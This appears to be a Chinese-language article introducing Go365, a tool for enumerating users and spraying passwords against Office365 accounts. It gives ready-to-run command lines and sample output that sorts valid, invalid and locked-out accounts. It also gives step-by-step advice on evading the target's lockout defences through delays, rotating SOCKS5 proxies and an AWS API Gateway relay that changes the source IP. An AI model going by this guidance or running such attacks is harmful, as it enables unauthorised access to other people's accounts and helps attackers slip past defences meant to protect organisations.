Go365这款工具旨在帮助广大研究人员针对使用了Office365(现在/即将推出Microsoft365)的组织和用户执行用户枚举和密码爆破攻击。Go365使用了login.microsoftonline.com上的惟一一个SOAP API节点,而login.microsoftonline.com则是很多其他大部分工具都不会选择使用的。当要求输入一个电子邮件地址和密码时,这个终端节点会响应一个Azure AD认证和授权代码,这个代码接下来会交由Go365处理,处理的结果会打印至屏幕或输出到文件。
用户枚举和密码爆破攻击是同时执行的,不过Go365并没有提供特定的参数或功能来允许研究人员仅执行用户枚举攻击。Go365每次执行一次密码爆破攻击,便会解析一次用户的身份是否有效。
./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -up ./userpass_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -u legituser@pwnthisfakedomain.com -p 'coolpasswordbro!123' -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login
温馨提醒:你可能并没有真正地锁定目标账户。
在对目标域进行多次查询后,工具可能会开始报告目标账号已被锁定。
一旦触发了域防御策略,用户枚举的结果就没那么可靠了,因为针对有效和无效用户的请求将随机报告其帐户已被锁定。
...
[-] User not found: test.user90@pwnthisfakedomain.com
[-] User not found: test.user91@pwnthisfakedomain.com
[-] Valid user, but invalid password: test.user92@pwnthisfakedomain.com
[!] Account Locked Out: real.user1@pwnthisfakedomain.com
[-] Valid user, but invalid password: test.user93@pwnthisfakedomain.com
[!] Account Locked Out: valid.user94@pwnthisfakedomain.com
[!] Account Locked Out: jane.smith@pwnthisfakedomain.com
[-] Valid user, but invalid password: real.user95@pwnthisfakedomain.com
[-] Valid user, but invalid password: fake.user96@pwnthisfakedomain.com
[!] Account Locked Out: valid.smith@pwnthisfakedomain.com
...
这是一种防御机制,如果在一定时间内针对目标域的有效用户查询次数到达阈值,便会触发这种防御机制。由于目标组织可以自定义设置这个阈值,因此尝试的次数和时间段将因目标域而异。
这种防御机制是基于时间和IP地址实现的,而Go365提供了在请求之间包括等待时间的选项和用于分发请求源的代理选项。要规避目标域上的防御机制,请使用较长的等待时间和多个代理服务器。
建议至少等待15秒:
-w 15
如果大家仍然接收到“账户锁定”的响应信息,就需要设置代理来发送请求了。代理选项目前仅在SSh SOCKS5动态代理(ssh -Duser@proxyserver)上进行过测试。
大家可以在DO、AWS或Vultr等平台上创建SOCKS5代理,然后创建一个包含下列格式数据的文件:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
该工具将随机迭代提供的代理服务器,并在请求之间等待指定的时间延迟。
-w 15 -proxyfile ./proxies.txt
除此之外,我们还可以指定节点URL,以便此工具可以与亚马逊API网关进行交互对接。此时,我们需要设置网关以指向https://login.microsoftonline.com/rst2.srf节点,然后将-url参数设置为指向调用的URL地址。这里需要注意的是,我们的IP地址应该在每次发送请求之后进行地址轮换:
-url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login
Go365:【阅读原文下载】